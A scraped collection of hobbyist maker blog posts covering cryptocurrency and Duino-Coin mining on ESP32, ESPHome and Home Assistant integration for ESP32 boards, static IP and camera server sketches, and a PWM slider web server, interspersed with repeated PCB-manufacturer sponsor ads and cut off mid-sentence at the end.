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  1. Cryptocurrency: A New Era of Money Money is one of the most important inventions in human history. It is a medium of exchange, a store of value, and a unit of account. Money enables trade, commerce, and economic growth. However, money also has its limitations and challenges. For example, money can be counterfeited, stolen, or inflated. To overcome these problems, some people have invented a new form of money: cryptocurrency. Cryptocurrency is a type of digital currency that uses cryptography to secure and verify transactions. Cryptocurrency is decentralized, meaning that it is not controlled by any central authority or government. Cryptocurrency transactions are recorded on a distributed ledger called a blockchain, which ensures transparency and immutability. Some examples of cryptocurrencies are: Bitcoin: The first and most popular cryptocurrency, created in 2009 by an anonymous person or group using the pseudonym Satoshi Nakamoto. Bitcoin has a limited supply of 21 million coins and uses a proof-of-work algorithm to validate transactions and create new blocks. Ethereum: A platform that allows developers to create decentralized applications (dApps) and smart contracts using its native cryptocurrency, ether. Ethereum uses a proof-of-stake algorithm to secure its network and enable faster transactions. Cryptocurrencies have many advantages over traditional money. They are: Secure: Cryptocurrencies use cryptography to protect transactions from fraud and hacking. Cryptocurrencies also have no single point of failure, as they are distributed across many nodes on the network. Transparent: Cryptocurrencies allow anyone to view the history and details of every transaction on the blockchain. Cryptocurrencies also have no hidden fees or charges, as they are based on peer-to-peer transactions. Inclusive: Cryptocurrencies enable anyone with an internet connection and a digital wallet to access the global financial system. Cryptocurrencies also have no barriers to entry or discrimination, as they are open to anyone regardless of their identity or location. Innovative: Cryptocurrencies foster innovation and creativity, as they allow developers to create new applications and services using blockchain technology. Cryptocurrencies also have the potential to disrupt various industries and sectors, such as banking, e-commerce, healthcare, education, and more. Cryptocurrencies are not without challenges and risks, however. They are: Volatile: Cryptocurrencies are subject to high price fluctuations due to supply and demand dynamics, market sentiment, regulatory uncertainty, and technical issues. Cryptocurrencies can also be affected by external factors, such as geopolitical events, cyberattacks, media coverage, and public opinion. Complex: Cryptocurrencies require a steep learning curve for users to understand how they work and how to use them safely and effectively. Cryptocurrencies also involve technical jargon and concepts that may be confusing or intimidating for beginners. Unregulated: Cryptocurrencies operate in a legal gray area, as they are not recognized or regulated by most governments and authorities. Cryptocurrencies may face legal restrictions or bans in some areas, which may limit their adoption and usage. Cryptocurrencies may also pose ethical and social issues, such as tax evasion, money laundering, terrorism financing, and environmental impact. Cryptocurrency is a new era of money that offers many opportunities and challenges for the future. Cryptocurrency is not just a technology or a currency; it is a social phenomenon that reflects the values and aspirations of its users. Cryptocurrency is not perfect or flawless; it is an experiment that evolves and improves over time. Cryptocurrency is not for everyone or everything; it is a choice that depends on one’s preferences and needs. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Crypto mining: It is the process of creating new units of cryptocurrency by solving complex mathematical problems. Crypto mining is essential for securing and verifying transactions on the blockchain, which is a distributed ledger that records the history and details of every transaction. Crypto mining also rewards miners with newly minted coins, which increases the supply and circulation of cryptocurrency. There are several types of crypto mining, depending on the algorithm and consensus mechanism used by the cryptocurrency network. The most common type is proof-of-work (PoW) mining, which requires miners to use their computing power to compete to find the solution to a cryptographic puzzle. The first miner who solves the puzzle gets to add a new block to the blockchain and claim the block reward. Some examples of cryptocurrencies that use PoW mining are Bitcoin, Ethereum, Litecoin, and Monero. Another type of crypto mining is proof-of-stake (PoS) mining, which requires miners to stake a certain number of coins to participate in the validation process. PoS mining does not involve solving puzzles but rather selecting validators based on their stake and other factors. Validators then take turns to propose and confirm new blocks and receive rewards based on their stake and performance. Some examples of cryptocurrencies that use PoS mining are Cardano, Polkadot, Binance Coin, and Tezos. Crypto mining can be profitable or unprofitable, depending on several factors such as the price of the cryptocurrency, the difficulty of the mining algorithm, the cost of electricity and hardware, and the competition from other miners. Crypto mining can also have environmental and social impacts, such as energy consumption, carbon emissions, waste generation, noise pollution, and regulatory issues. If you want to mine cryptocurrency, you will need some specialized hardware that can perform complex calculations and consume a lot of electricity. There are several types of hardware for mining different cryptocurrencies, but the most common ones are ASIC (application-specific integrated circuit) devices, which are designed to mine a specific algorithm or coin. Some of the best ASIC devices for mining cryptocurrency in 2023 are: Antminer S19 Pro: This is one of the most powerful and efficient Bitcoin mining hardware, with a hash rate of 110 TH/s and a power consumption of 3,250 W. WhatsMiner M30S++: This is another top Bitcoin mining hardware, with a hash rate of 112 TH/s and a power consumption of 3,472 W. AvalonMiner 1246: This is heavy-duty Bitcoin mining hardware, with a hash rate of 90 TH/s and a power consumption of 3,420 W. WhatsMiner M32-62T: This is a new Bitcoin mining hardware, with a hash rate of 62 TH/s and a power consumption of 3,360 W. You can see these are some of the high-power and costly miners, also their power consumption is extremely high. In this tutorial, you will see how to mine crypto with low-power ESP32 microcontrollers. Duco Coin: A Simple and Eco-Friendly Crypto Coin Duco coin is a unique crypto coin that can be mined using low-powered devices, such as Arduino boards, ESP32, Raspberry Pi, and even old computers. Duco coin aims to provide a simple, accessible, and eco-friendly way of participating in the crypto world, without the need for expensive and energy-intensive hardware. Duco coin uses its own blockchain and consensus algorithm, called DUCO-S1, which is based on SHA-1. DUCO-S1 is designed to be fast, secure, and adaptable to different devices and mining methods. Duco coin also uses a reward system called theKolka system, which adjusts the mining difficulty and rewards based on the device’s performance and network conditions. The Kolka system ensures that low-powered devices have a fair chance of earning coins while preventing abuse and spam. The Duco coin has an infinite supply of coins, but it also has a burning mechanism that reduces circulation by destroying some coins every time a transaction is made. This creates a balance between inflation and deflation and maintains the value of the coin. The Duco coin also has no transaction fees, as the miners are rewarded by the Kolka system. The Duco coin is a crypto coin that offers many advantages over traditional coins. It is: Simple: Duco coin is easy to mine, use, and understand. It does not require any complex setup or configuration. It also has a user-friendly web wallet and a mobile app that allows users to manage their funds and transactions. Eco-friendly: Duco coin is environmentally friendly, as it uses low-powered devices that consume minimal electricity and generate less heat and noise. It also reduces electronic waste by giving new life to old devices. Inclusive: Duco coin is inclusive, as it enables anyone with an internet connection and a cheap device to join the crypto world. It also has no barriers to entry or discrimination, as it is open to anyone regardless of their identity or location. Innovative: Duco coin is innovative, as it fosters creativity and experimentation among its users and developers. It also has the potential to disrupt various industries and sectors, such as education, gaming, IoT, and more. Duco coin is a new era of crypto coin that offers simplicity, sustainability, accessibility, and diversity. Duco coin is not just a technology or a currency; it is a community that shares the same vision and values. How to mine Duco coin with ESP32: To mine Duco coin with ESP32, you will need the following steps: Step 1: Register an account on the Duino-Coin website and create a wallet. You will need your username and wallet address for mining. Step 2: Download and install the Arduino IDE and the ESP32 board support package. You will also need to install some libraries, such as WiFiClientSecure, ArduinoJson, and DHT (if you want to use a DHT sensor). Step 3: Download the Duino-Coin ESP32 code from GitHub and open it in the Arduino IDE. Edit the code to enter your Wi-Fi name, password, username, and mining key (if you enabled it in the wallet). You can also change the rig identifier and the LED pin if you want. Step 4: Connect your ESP32 board to your computer via a USB cable and select the correct port and board settings in the Arduino IDE. Upload the code to your ESP32 board and wait for it to connect to the Duino-Coin server. Step 5: You can monitor your mining status and earnings on the Duino-Coin web wallet or the mobile app. You can also use the serial monitor in the Arduino IDE to see the debug messages from your ESP32 board. That’s it! You are now mining Duco coin with your ESP32 board. You can also use multiple ESP32 boards or other devices, such as Arduino, Raspberry Pi, or PC, to increase your hash rate and earnings. However, be aware of the Kolka system, which adjusts the mining difficulty and rewards based on your device’s performance and network conditions.
  2. This project will allow you to monitor environmental conditions in your home automation setup. Here are the steps to achieve this: Integrating DHT11 with Beetle ESP32 C3 and Home Assistant 1. Components Required Before we begin, gather the necessary components: BeetleESP32C3 development board DHT11 temperature and humidity sensor Jumper wires USB cable for programming A computer with the Arduino IDE or ESPHome installed Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. 2. Flashing ESPHome to Beetle ESP32 C3 Install ESPHome on your computer. You can follow the instructions in my previous blog. Create an ESPHome configuration file (e.g., dht11.yaml) with the following content: sensor: - platform: dht pin: 0 model: dht11 temperature: name: "Living Room Temperature" humidity: name: "Living Room Humidity" update_interval: 5 s Replace placeholders (YourWiFiSSID, YourWiFiPassword, etc.) with your actual values. Compile and upload the configuration to your Beetle ESP32 C3 using the ESPHome CLI. 3. Integrating with Home Assistant Open Home Assistant. Click on Configuration (bottom left) and go to Integrations. Click the + button and select ESPHome. Enter the IP address of your ESP32 (leave the port as 6053) and click Finish. 4. Viewing Temperature and Humidity Once integrated, Home Assistant will discover the Beetle ESP32 C3 module and create entities for temperature and humidity. You can access these entities in Home Assistant’s dashboard and display them as cards or graphs. And that’s it! You’ve successfully integrated the DHT11 sensor with your Beetle ESP32 C3 and Home Assistant. Feel free to customize and expand this project based on your needs. Happy monitoring! 🌡️💧🏠
  3. In this blog, I will show you how to set a static IP address on Xiao ESP32 S3 Sense, a tiny but powerful microcontroller board with Wi-Fi and Bluetooth capabilities. Setting a static IP address can be useful if you want to access your ESP32 web server or other network services using the same IP address, even after restarting the board. What is a Static IP Address? An IP address is a unique identifier for a device on a network. It consists of four numbers separated by dots, such as 192.168.1.100. A static IP address is an IP address that does not change, unlike a dynamic IP address that is assigned by a router or a DHCP server. Advantages Easier to remember and access. More reliable and stable connection Less prone to IP conflicts or errors Disadvantages More difficult to configure and maintain. Less flexible and scalable More vulnerable to security risks Therefore, you should only use a static IP address if you have a specific need for it, and if you are aware of the potential drawbacks. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. How to Set a Static IP Address on Xiao ESP32 S3 Sense To set a static IP address on Xiao ESP32 S3 Sense, you will need the following: A Xiao ESP32 S3 Sense board A micro-USB cable. A computer with Arduino IDE installed. A Wi-Fi network with internet access The steps are as follows: Connect the Xiao ESP32 S3 Sense board to your computer using the micro-USB cable. Open the Arduino IDE and select the correct board and port from the Tools menu. Obtain the current network settings of your ESP32 board by uploading the following sketch. Before uploading, make sure to replace the ssid and password variables with your actual Wi-Fi network credentials. #include <WiFi.h> const char* ssid = "YourNetworkName"; const char* password = "YourPassword"; void setup() { Serial.begin(115200); Serial.print("Connecting to "); Serial.println(ssid); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.print("."); } Serial.println(""); Serial.println("Connected..!"); Serial.print("Current ESP32 IP: "); Serial.println(WiFi.localIP()); Serial.print("Gateway (router) IP: "); Serial.println(WiFi.gatewayIP()); Serial.print("Subnet Mask: " ); Serial.println(WiFi.subnetMask()); Serial.print("Primary DNS: "); Serial.println(WiFi.dnsIP(0)); Serial.print("Secondary DNS: "); Serial.println(WiFi.dnsIP(1)); } void loop() { } System Response Open the Serial Monitor and set the baud rate to 115200. Then, press the EN button on the ESP32 board. It may take a few moments to connect to your network, after which it will print the current network settings of the ESP32 board to the serial monitor. Take note of these settings, especially the IP address, gateway, subnet mask, and DNS servers. Choose a static IP address for your ESP32 board that is within the same subnet as your router but does not conflict with any other devices on your network. For example, if your router’s IP address is 192.168.1.1 and your subnet mask is 255.255.255.0, you can choose any IP address from 192.168.1.2 to 192.168.1.254, as long as it is not already taken by another device. You can check the IP addresses of other devices on your network using tools such as Fing or Advanced IP Scanner. Modify the previous sketch by adding the following lines before the WiFi.begin() function. Replace the staticIP, gateway, subnet, primaryDNS, and secondaryDNS variables with your chosen static IP address and the network settings you obtained in step 4. // Static IP configuration IPAddress staticIP(192, 168, 1, 100); // ESP32 static IP IPAddress gateway(192, 168, 1, 1); // IP Address of your network gateway (router) IPAddress subnet(255, 255, 255, 0); // Subnet mask IPAddress primaryDNS(192, 168, 1, 1); // Primary DNS (optional) IPAddress secondaryDNS(0, 0, 0, 0); // Secondary DNS (optional) // Configures static IP address if (!WiFi.config(staticIP, gateway, subnet, primaryDNS, secondaryDNS)) { Serial.println("STA Failed to configure"); } Upload the modified sketch to your ESP32 board and open the Serial Monitor again. You should see that your ESP32 board has successfully connected to your network using the static IP address you specified. You can now access your ESP32 web server or other network services using the static IP address. For example, if you have uploaded the ESP32 Web Server example sketch, you can open a web browser and type the static IP address in the address bar. You should see the web page that allows you to control the GPIO pins of your ESP32 board. Home Assistance with ESP32 Cam Apart from controlling the LED's we can implement this on ESP32 Cam Webserver. Now you can use the static IP in the home assistance. Add you can stream your camera footage. #include "esp_camera.h" #include <WiFi.h> // // WARNING!!! PSRAM IC required for UXGA resolution and high JPEG quality // Ensure ESP32 Wrover Module or other board with PSRAM is selected // Partial images will be transmitted if image exceeds buffer size // // You must select partition scheme from the board menu that has at least 3MB APP space. // Face Recognition is DISABLED for ESP32 and ESP32-S2, because it takes up from 15 // seconds to process single frame. Face Detection is ENABLED if PSRAM is enabled as well // =================== // Select camera model // =================== //#define CAMERA_MODEL_WROVER_KIT // Has PSRAM //#define CAMERA_MODEL_ESP_EYE // Has PSRAM //#define CAMERA_MODEL_ESP32S3_EYE // Has PSRAM //#define CAMERA_MODEL_M5STACK_PSRAM // Has PSRAM //#define CAMERA_MODEL_M5STACK_V2_PSRAM // M5Camera version B Has PSRAM //#define CAMERA_MODEL_M5STACK_WIDE // Has PSRAM //#define CAMERA_MODEL_M5STACK_ESP32CAM // No PSRAM //#define CAMERA_MODEL_M5STACK_UNITCAM // No PSRAM //#define CAMERA_MODEL_AI_THINKER // Has PSRAM //#define CAMERA_MODEL_TTGO_T_JOURNAL // No PSRAM #define CAMERA_MODEL_XIAO_ESP32S3 // Has PSRAM // ** Espressif Internal Boards ** //#define CAMERA_MODEL_ESP32_CAM_BOARD //#define CAMERA_MODEL_ESP32S2_CAM_BOARD //#define CAMERA_MODEL_ESP32S3_CAM_LCD //#define CAMERA_MODEL_DFRobot_FireBeetle2_ESP32S3 // Has PSRAM //#define CAMERA_MODEL_DFRobot_Romeo_ESP32S3 // Has PSRAM #include "camera_pins.h" // =========================== // Enter your WiFi credentials // =========================== // Replace with your network credentials const char* ssid = "xxxxxxx"; const char* password = "xxxxxxx"; // Set web server port number to 80 WiFiServer server(80); // Variable to store the HTTP request String header; // Set your Static IP address IPAddress local_IP(192, 168, 1, 162); // Set your Gateway IP address IPAddress gateway(192, 168, 1, 1); IPAddress subnet(255, 255, 0, 0); IPAddress primaryDNS(8, 8, 8, 8); //optional IPAddress secondaryDNS(8, 8, 4, 4); //optional void startCameraServer(); void setupLedFlash(int pin); void setup() { Serial.begin(115200); Serial.setDebugOutput(true); Serial.println(); camera_config_t config; config.ledc_channel = LEDC_CHANNEL_0; config.ledc_timer = LEDC_TIMER_0; config.pin_d0 = Y2_GPIO_NUM; config.pin_d1 = Y3_GPIO_NUM; config.pin_d2 = Y4_GPIO_NUM; config.pin_d3 = Y5_GPIO_NUM; config.pin_d4 = Y6_GPIO_NUM; config.pin_d5 = Y7_GPIO_NUM; config.pin_d6 = Y8_GPIO_NUM; config.pin_d7 = Y9_GPIO_NUM; config.pin_xclk = XCLK_GPIO_NUM; config.pin_pclk = PCLK_GPIO_NUM; config.pin_vsync = VSYNC_GPIO_NUM; config.pin_href = HREF_GPIO_NUM; config.pin_sccb_sda = SIOD_GPIO_NUM; config.pin_sccb_scl = SIOC_GPIO_NUM; config.pin_pwdn = PWDN_GPIO_NUM; config.pin_reset = RESET_GPIO_NUM; config.xclk_freq_hz = 20000000; config.frame_size = FRAMESIZE_UXGA; config.pixel_format = PIXFORMAT_JPEG; // for streaming //config.pixel_format = PIXFORMAT_RGB565; // for face detection/recognition config.grab_mode = CAMERA_GRAB_WHEN_EMPTY; config.fb_location = CAMERA_FB_IN_PSRAM; config.jpeg_quality = 12; config.fb_count = 1; // if PSRAM IC present, init with UXGA resolution and higher JPEG quality // for larger pre-allocated frame buffer. if(config.pixel_format == PIXFORMAT_JPEG){ if(psramFound()){ config.jpeg_quality = 10; config.fb_count = 2; config.grab_mode = CAMERA_GRAB_LATEST; } else { // Limit the frame size when PSRAM is not available config.frame_size = FRAMESIZE_SVGA; config.fb_location = CAMERA_FB_IN_DRAM; } } else { // Best option for face detection/recognition config.frame_size = FRAMESIZE_240X240; #if CONFIG_IDF_TARGET_ESP32S3 config.fb_count = 2; #endif } #if defined(CAMERA_MODEL_ESP_EYE) pinMode(13, INPUT_PULLUP); pinMode(14, INPUT_PULLUP); #endif // camera init esp_err_t err = esp_camera_init(&config); if (err != ESP_OK) { Serial.printf("Camera init failed with error 0x%x", err); return; } sensor_t * s = esp_camera_sensor_get(); // initial sensors are flipped vertically and colors are a bit saturated if (s->id.PID == OV3660_PID) { s->set_vflip(s, 1); // flip it back s->set_brightness(s, 1); // up the brightness just a bit s->set_saturation(s, -2); // lower the saturation } // drop down frame size for higher initial frame rate if(config.pixel_format == PIXFORMAT_JPEG){ s->set_framesize(s, FRAMESIZE_QVGA); } #if defined(CAMERA_MODEL_M5STACK_WIDE) || defined(CAMERA_MODEL_M5STACK_ESP32CAM) s->set_vflip(s, 1); s->set_hmirror(s, 1); #endif #if defined(CAMERA_MODEL_ESP32S3_EYE) s->set_vflip(s, 1); #endif // Setup LED FLash if LED pin is defined in camera_pins.h #if defined(LED_GPIO_NUM) setupLedFlash(LED_GPIO_NUM); #endif // Configures static IP address if (!WiFi.config(local_IP, gateway, subnet, primaryDNS, secondaryDNS)) { Serial.println("STA Failed to configure"); } // Connect to Wi-Fi network with SSID and password Serial.print("Connecting to "); Serial.println(ssid); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } // Print local IP address and start web server Serial.println(""); Serial.println("WiFi connected."); Serial.println("IP address: "); Serial.println(WiFi.localIP()); startCameraServer(); Serial.print("Camera Ready! Use 'http://"); Serial.print(WiFi.localIP()); Serial.println("' to connect"); } void loop() { // Do nothing. Everything is done in another task by the web server delay(10000); } Conclusion In this blog, I have shown you how to set a static IP address on Xiao ESP32 S3 Sense, a tiny but powerful microcontroller board with Wi-Fi and Bluetooth capabilities. Setting a static IP address can be useful if you want to access your ESP32 web server or other network services using the same IP address, even after restarting the board. However, you should also be aware of the potential disadvantages and risks of using a static IP address, and only use it if you have a specific need for it. I hope you found this blog helpful and informative. If you have any questions or feedback, please leave a comment below. Thank you for reading!
  4. In this article, will see how we can integrate the Beetle ESP32 C3 with home assistance. Beetle ESP32 C3 The Beetle ESP32-C3 is based on the ESP32-C3, a RISC-V 32-bit single-core processor. Despite its tiny size (only 25×20.5 mm), it packs a punch with up to 13 IO ports broken out, making it ideal for various projects without worrying about running out of IO options. Key Features: Ultra-Small Size: The Beetle ESP32-C3 measures just 25×20.5 mm (0.98×0.81 inch), making it perfect for space-constrained projects. Built-in Lithium Battery Charging Management: Safely charge and discharge lithium-ion batteries directly on the board. No need for additional modules, to ensure application size and safety. Easy Screen Connectivity: The matching bottom plate simplifies project assembly and screen usage. Dual-Mode Communication: Supports Wi-Fi and Bluetooth 5 (LE). Reduces networking complexity. Compatible with both Bluetooth Mesh and Espressif WiFi Mesh for stable communication and extended coverage. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Installing ESP Addon in Home Assistance First, we need to add the ESP addon to our Home Assistance system. Open the home assistance. Next, navigate to the settings and open the add-ons. Here selects ESP home and install it. Then open the web ui. ESPHome on the Beetle ESP32 C3 ESPHome is an open-source firmware that allows you to configure and manage your ESP devices easily. Open the ESP home web UI and add a new device. Then open the ESPHOME web and follow the instructions to flash ESP Home firmware. Next, connect Beetle to the PC and select then burn. Wait until it finishes. Next, enter the WiFi credentials to configure with WiFi. Then click visit device, you can see this kind of web page. Connecting Beetle ESP32 C3 to Home Assistant Once your FireBeetle ESP32 C3 is online with the ESPHome firmware, Home Assistant will automatically discover it. You can see the device under the settings menu. Next, open the ESP home and add a new device Then enter all the details, and next select the wireless option. You can see the device status as Online. Here you can edit the beetle behavior. Controlling Devices and Automation With the Beetle ESP32 C3 integrated into Home Assistant, you can: Control smart switches, lights, or other devices connected to your Beetle. Set up automation based on sensor data (e.g., turn on lights when motion is detected). Monitor temperature, humidity, and other environmental factors using Beetle sensors. With the Beetle ESP32 C3 integrated into Home Assistant, you can: Control smart switches, lights, or other devices connected to your Beetle. Set up automation based on sensor data (e.g., turn on lights when motion is detected). Here is the simple code snippet to control the onboard LED on the Beetle. switch: - platform: gpio name: "test_lights Onboard light" pin: 10 inverted: True restore_mode: RESTORE_DEFAULT_OFF Here is the complete sketch. Then install it. Next, open the devices again and select the esp home. Here you will see your device details and it will show the switch status. From here you can control the onboard LED. Troubleshooting and Tips If you encounter issues: Check your ESPHome configuration for errors. Verify that your Beetle ESP32 C3 is connected to the correct Wi-Fi network. Use Home Assistant’s logs and developer tools to debug any problems. Conclusion Integrating the Beetle ESP32 C3 with Home Assistant expands your smart home capabilities. Whether you’re building custom sensors, controlling lights, or automating tasks, this combination empowers you to create a personalized and efficient home environment. Happy tinkering! 🏡🔌
  5. In this blog post, I will show you how to create a web server with an ESP32 board that allows you to control the brightness of an LED using a slider on a web page. This is a fun and easy project demonstrating how to use the ESP32’s PWM (Pulse Width Modulation) feature to vary the intensity of an LED. You will also learn how to use the ESPAsyncWebServer and AsyncTCP libraries to handle asynchronous web requests and responses, which can improve the performance and responsiveness of your web server. What You Will Need: To follow along with this tutorial, you will need the following components: An ESP32 board (I’m using the ESP32 DevKitC) The Arduino IDE installed on your computer The ESPAsyncWebServer and AsyncTCP libraries installed on your Arduino IDE You can find the links to download the libraries and the complete code for this project at the end of this post. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. How It Works: The basic idea of this project is to use a slider on a web page to send an HTTP request to the ESP32 with a value between 0 and 255, representing the LED's desired brightness. The ESP32 will then use that value to adjust the duty cycle of a PWM signal, which is a digital signal that switches between high and low states at a certain frequency. By changing the ratio of the high and low states, we can change the average voltage applied to the LED, and thus its brightness. The inbuilt LED is connected to GPIO2, which is one of the pins that supports PWM (Pulse Width Modulation). PWM is a technique that allows us to vary the brightness of the LED by changing the duty cycle of a digital signal. The ESP32 has 16 PWM channels that can be configured to different frequencies and resolutions. By using the ledcSetup() and ledcWrite() functions, we can set up a PWM channel for the inbuilt LED and write a value between 0 and 255 to adjust its brightness. We can also use the Blink example sketch from the Arduino IDE to make the inbuilt LED blink with a certain interval. The inbuilt LED is useful for testing and debugging purposes, as well as for creating simple projects that involve lighting effects. To create the web server, we will use the ESPAsyncWebServer library, which is an asynchronous web server library for the ESP32 and ESP8266. This library allows us to handle multiple web requests and responses without blocking the main loop of the ESP32, which can improve the performance and responsiveness of our web server. We will also use the AsyncTCP library, which is a dependency of the ESPAsyncWebServer library and provides low-level TCP communication between the ESP32 and the web browser. To create the web page, we will use HTML, CSS, and JavaScript. HTML is the markup language that defines the structure and content of the web page. <!DOCTYPE HTML><html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ESP32 PWM Controller</title> <style> html {font-family: Arial; display: inline-block; text-align: center;} h2 {font-size: 2.3rem;} p {font-size: 1.9rem;} body {max-width: 400px; margin:0px auto; padding-bottom: 25px;} .slider { -webkit-appearance: none; margin: 14px; width: 360px; height: 25px; background: #2ad713; outline: none; -webkit-transition: .2s; transition: opacity .2s;} .slider::-webkit-slider-thumb {-webkit-appearance: none; appearance: none; width: 35px; height: 35px; background: #003249; cursor: pointer;} .slider::-moz-range-thumb { width: 35px; height: 35px; background: #05abf8; cursor: pointer; } </style> </head> <body> <h2>ESP32 PWM Controller</h2> <p><span id="textSliderValue">%SLIDERVALUE%</span></p> <p><input type="range" onchange="updateSliderPWM(this)" id="pwmSlider" min="0" max="255" value="%SLIDERVALUE%" step="1" class="slider"></p> <script> function updateSliderPWM(element) { var sliderValue = document.getElementById("pwmSlider").value; document.getElementById("textSliderValue").innerHTML = sliderValue; console.log(sliderValue); var xhr = new XMLHttpRequest(); xhr.open("GET", "/slider?value="+sliderValue, true); xhr.send(); } </script> </body> </html> CSS is the style sheet language that defines the appearance and layout of the web page. JavaScript is the scripting language that adds interactivity and functionality to the web page. In this project, we will use JavaScript to capture the slider's value and send it to the ESP32 via an HTTP GET request. #include <WiFi.h> #include <AsyncTCP.h> #include <ESPAsyncWebServer.h> // Replace with your network credentials const char* ssid = "ELDRADO"; const char* password = "amazon123"; const int output = 2; String sliderValue = "0"; // setting PWM properties const int freq = 5000; const int ledChannel = 0; const int resolution = 8; const char* PARAM_INPUT = "value"; // Create AsyncWebServer object on port 80 AsyncWebServer server(80); const char index_html[] PROGMEM = R"rawliteral( <!DOCTYPE HTML><html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ESP32 PWM Controller</title> <style> html {font-family: Arial; display: inline-block; text-align: center;} h2 {font-size: 2.3rem;} p {font-size: 1.9rem;} body {max-width: 400px; margin:0px auto; padding-bottom: 25px;} .slider { -webkit-appearance: none; margin: 14px; width: 360px; height: 25px; background: #2ad713; outline: none; -webkit-transition: .2s; transition: opacity .2s;} .slider::-webkit-slider-thumb {-webkit-appearance: none; appearance: none; width: 35px; height: 35px; background: #003249; cursor: pointer;} .slider::-moz-range-thumb { width: 35px; height: 35px; background: #05abf8; cursor: pointer; } </style> </head> <body> <h2>ESP32 PWM Controller</h2> <p><span id="textSliderValue">%SLIDERVALUE%</span></p> <p><input type="range" onchange="updateSliderPWM(this)" id="pwmSlider" min="0" max="255" value="%SLIDERVALUE%" step="1" class="slider"></p> <script> function updateSliderPWM(element) { var sliderValue = document.getElementById("pwmSlider").value; document.getElementById("textSliderValue").innerHTML = sliderValue; console.log(sliderValue); var xhr = new XMLHttpRequest(); xhr.open("GET", "/slider?value="+sliderValue, true); xhr.send(); } </script> </body> </html> )rawliteral"; // Replaces placeholder with button section in your web page String processor(const String& var){ //Serial.println(var); if (var == "SLIDERVALUE"){ return sliderValue; } return String(); } void setup(){ // Serial port for debugging purposes Serial.begin(115200); // configure LED PWM functionalitites ledcSetup(ledChannel, freq, resolution); // attach the channel to the GPIO to be controlled ledcAttachPin(output, ledChannel); ledcWrite(ledChannel, sliderValue.toInt()); // Connect to Wi-Fi WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.println("Connecting to WiFi.."); } // Print ESP Local IP Address Serial.println(WiFi.localIP()); // Route for root / web page server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){ request->send_P(200, "text/html", index_html, processor); }); // Send a GET request to <ESP_IP>/slider?value=<inputMessage> server.on("/slider", HTTP_GET, [] (AsyncWebServerRequest *request) { String inputMessage; // GET input1 value on <ESP_IP>/slider?value=<inputMessage> if (request->hasParam(PARAM_INPUT)) { inputMessage = request->getParam(PARAM_INPUT)->value(); sliderValue = inputMessage; ledcWrite(ledChannel, sliderValue.toInt()); } else { inputMessage = "No message sent"; } Serial.println(inputMessage); request->send(200, "text/plain", "OK"); }); // Start server server.begin(); } void loop() { } Wrap-Up: I hope you enjoyed this introduction to the ESP32 web server with the Slider project. In the next section, I will show you how to wire the circuit and program the ESP32. Stay tuned!
  6. The Xiao esp32 s3 sense is a tiny but powerful development board that integrates the ESP32-S3R8 processor, which supports 2.4GHz Wi-Fi and Bluetooth 5.0 wireless connectivity, 8MB PSRAM, 8MB flash memory, and a rich set of interfaces. The Xiao esp32 s3 sense also comes with a detachable OV2640 camera sensor, a digital microphone, and an SD card slot, which enable various applications in the fields of intelligent voice and vision AI. The xiao esp32 s3 sense is compatible with the Arduino IDE and MicroPython, which makes it easy to program and use. It also supports low-power consumption modes, battery charging, and multiple themes and information display. The Xiao esp32 s3 sense is suitable for space-limited projects, such as wearable devices, IoT devices, and embedded ML devices. In this article, I will show you how to get started with the Xiao esp32 s3 sense, how to use the camera and SD card features, and how to customize and optimize the board. Let’s begin! Get PCBs for Your Projects Manufactured This project was successfully completed because of the help and support from NextPCB. Guys if you have a PCB project, please visit their website and get exciting discounts and coupons. NextPCB offers high-quality, reliable PCB starting at $1.9, and multilayer starting at $6.9. Also, everyone can enjoy free PCB assembly for 5 boards! Also, NextPCB is having a year end sale in which anyone can register through their website and get a $30 Coupon which can be used for ordering PCBs. You can also try HQDFM free online PCB Gerber viewer to check your PCB design and avoid costly errors. Capturing and Displaying Images The Xiao esp32 s3 sense comes with a detachable OV2640 camera sensor, which can capture images up to 2 megapixels. The camera sensor is connected to the board via a 24-pin FPC 